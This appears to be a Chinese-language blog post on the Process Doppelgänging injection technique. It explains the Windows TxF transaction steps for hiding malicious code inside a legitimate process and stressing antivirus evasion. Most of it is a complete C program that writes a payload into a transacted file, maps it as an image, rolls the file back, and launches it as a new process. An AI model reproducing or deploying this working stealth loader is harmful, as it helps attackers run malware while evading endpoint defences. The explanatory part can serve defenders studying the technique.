进程注入：Process Doppelgänging
攻击者可以通过Process Doppelgänging将恶意代码注入到进程中，从而逃避基于进程的防护，并且进行可能的特权提升。Process Doppelgänging是一种在单独的活动进程的地址空间中执行任意代码的方法。
Vista中引入了Windows事务NTFS（TxF）作为执行安全文件操作的方法。为确保数据完整性，TxF仅允许一个事务处理句柄在给定时间写入同一个文件。在写句柄事务终止之前，所有其他句柄均被隔离，只能读取打开该句柄时已存在的文件的提交版本。为避免损坏，如果系统或应用程序在写事务期间发生失败，TxF将执行自动回滚。
尽管已被弃用，但直至Windows 10，仍可使用TxF应用程序编程接口（API）。
攻击者可能滥用TxF来执行Process Injection的无文件变体。与“Process Hollowing”类似，Process Doppelgänging通过替换合法进程的内存，使恶意代码得以隐蔽执行，从而逃避检测。Process Doppelgänging对TxF的利用也避免了使用被杀软重度监控的API功能，例如NtUnmapViewOfSection，VirtualProtectEx，和SetThreadContext。
Process Doppelgänging分为4个步骤：
- Transact – 使用合法的可执行文件创建TxF事务，然后使用恶意代码覆盖该文件。这些更改与外部隔离，并且仅在当前事务上下文中可见；
- Load – 从内存中创建一个共享
Section用于加载覆盖后的恶意可执行文件； - Rollback – 撤消对原始合法可执行文件的更改，从而有效地从文件系统中清除恶意代码；
- Animate – 从内存中恶意代码所在的
Section处创建一个进程并启动执行。
由于被注入进程是从实现注入的进程中创建的（继承了安全上下文），因此该行为应该是不会导致特权提升的。但是，由于执行过程隐藏于合法进程下，因此通过process doppelgänging执行可以避开安全产品的检测。
在测试的时候，发现在64位系统下，32位的process doppelgänging将会失败，只能使用64位的注入；32位系统下的process doppelgänging则正常。
#include "winntos.h"
#include "stdio.h"
#include "ktmw32.h"
#define MAX(a, b) (a > b? a:b)
#define MIN(a, b) (a > b? b:a)
#pragma comment(lib, "ktmw32.lib")
INT wmain(INT argc, WCHAR* argv[]) {
if (argc < 3) {
printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>
");
return 1;
}
NtCreateSection ntCreateSection = NULL;
NtCreateProcessEx ntCreateProcessEx = NULL;
RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
NtQueryInformationProcess ntQueryInformationProcess = NULL;
RtlInitUnicodeString rtlInitUnicodeString = NULL;
NtCreateThreadEx ntCreateThreadEx = NULL;
HMODULE ntdll = LoadLibrary(L"ntdll.dll");
if (ntdll) {
ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
if (ntCreateSection)
printf(" Succeed get funtion NtCreateSection Address : %#llx :)
", (DWORD)ntCreateSection);
else {
printf(" Fail get funtion NtCreateSection Address :(
");
return 1;
}
ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
if (ntCreateProcessEx)
printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)
", (DWORD)ntCreateProcessEx);
else {
printf(" Fail get funtion NtCreateProcessEx Address :(
");
return 1;
}
rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
if (rtlCreateProcessParametersEx)
printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)
",
(DWORD)rtlCreateProcessParametersEx);
else {
printf(" Fail get funtion RtlCreateProcessParametersEx Address :(
");
return 1;
}
ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (ntQueryInformationProcess)
printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)
",
(DWORD)ntQueryInformationProcess);
else {
printf(" Fail get funtion NtQueryInformationProcess Address :(
");
return 1;
}
rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
if (rtlInitUnicodeString)
printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)
",
(DWORD)rtlInitUnicodeString);
else {
printf(" Fail get funtion RtlInitUnicodeString Address :(
");
return 1;
}
ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
if (ntCreateThreadEx)
printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)
",
(DWORD)ntCreateThreadEx);
else {
printf(" Fail get funtion NtCreateThreadEx Address :(
");
return 1;
}
}
else {
printf(" Load ntdll.dll Failed :(
");
return 1;
}
WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
CHAR *szInjBuff = NULL;
wcscpy(szSrcFile, argv[1]);
wcscpy(szInjectFile, argv[2]);
do {
hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
if (INVALID_HANDLE_VALUE == hInjFile) {
if (GetLastError() == ERROR_FILE_NOT_FOUND)
printf(" The File To Be INJECTED NOT FOUND :(
");
else
printf(" OPEN injected file ERROR :(
");
break;
}
DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
szInjBuff = (CHAR*)malloc(dwInjFileSize);
if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
printf(" read injected file error :(
");
break;
}
hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
if (INVALID_HANDLE_VALUE == hTx) {
printf(" create transaction failed :(
");
break;
}
hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
if (INVALID_HANDLE_VALUE == hTransFile) {
printf(" append black file transacted failed :(
");
break;
}
DWORD dwWrittenBytes = 0;
if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
printf(" write target file failed :(
");
break;
}
printf(" Write To Target File success :)
");
hSection = NULL;
if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
printf(" CreateSeciotn Failed :( %#x
", GetLastError());
break;
}
// succeed map file as image
printf(" CreateSeciotn Success :)
");
if (!RollbackTransaction(hTx)) {
printf(" RollBackFile Failed :( %#x
", GetLastError());
break;
}
printf(" RollBackFile Success :)
");
hProcess = NULL;
hCurProcess = GetCurrentProcess();
if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
printf(" create process failed :( %#x
", GetLastError()); // 失败
break;
}
printf(" create process SUCCESS :)
");
PROCESS_BASIC_INFORMATION pbi;
DWORD ReturnLength = 0;
/* 获取注入进程的PEB数据块信息 */
if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
printf(" query process pbi failed :( %#x
", GetLastError());
break;
}
SIZE_T size = 0, imgBase = NULL;
CHAR tmp[0x100] = { 0 };
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size);
imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress; // PEB获取注入进程基址
printf(" image base: %#llx
", imgBase);
PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
UNICODE_STRING dstUniStr;
rtlInitUnicodeString(&dstUniStr, szSrcFile);
if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
printf(" Create ProcessParameters failed :( %#x
", GetLastError());
break;
}
printf(" Create ProcessParameters SUCCESS :)
");
HANDLE ThreadID = NULL;
LPVOID paramBaseAddr = NULL;
ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
size = end - start;
if (!VirtualAllocEx(hProcess, (LPVOID)start, size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
printf(" VirtualAllocEx processParams failed :( %#x
", GetLastError());
break;
}
if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
printf(" Write USER PROCESS PARAMETERS failed :( %#x
", GetLastError());
break;
}
if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
printf(" Write USER PROCESS PARAMETERS Address failed :( %#x
", GetLastError());
break;
}
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
printf(" entry point: %#llx
", entry);
if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
(LPTHREAD_START_ROUTINE)entry,
NULL, FALSE, 0, 0, 0, NULL)) {
printf(" Create Thread failed :( %#x
", GetLastError());
break;
}
printf(" Create Thread Success :)
");
/*if (!CreateRemoteThread(hProcess, NULL, NULL,
(LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
NULL, NULL, &ThreadID)) {
printf(" Create Thread failed :( %#x
", GetLastError());
break;
}
printf(" remote thread id: %#x
", ThreadID);*/
} while (0);
VirtualFree(szInjectFile, 0, MEM_RELEASE);
VirtualFree(szSrcFile, 0, MEM_RELEASE);
VirtualFree(szInjBuff, 0, MEM_RELEASE);
if (hTransFile)
CloseHandle(hTransFile);
if (hTx)
CloseHandle(hTx);
if (hInjFile)
CloseHandle(hInjFile);
if (hCurProcess)
CloseHandle(hCurProcess);
if (hSection)
CloseHandle(hSection);
if (hProcess)
CloseHandle(hProcess);
return 0;
}
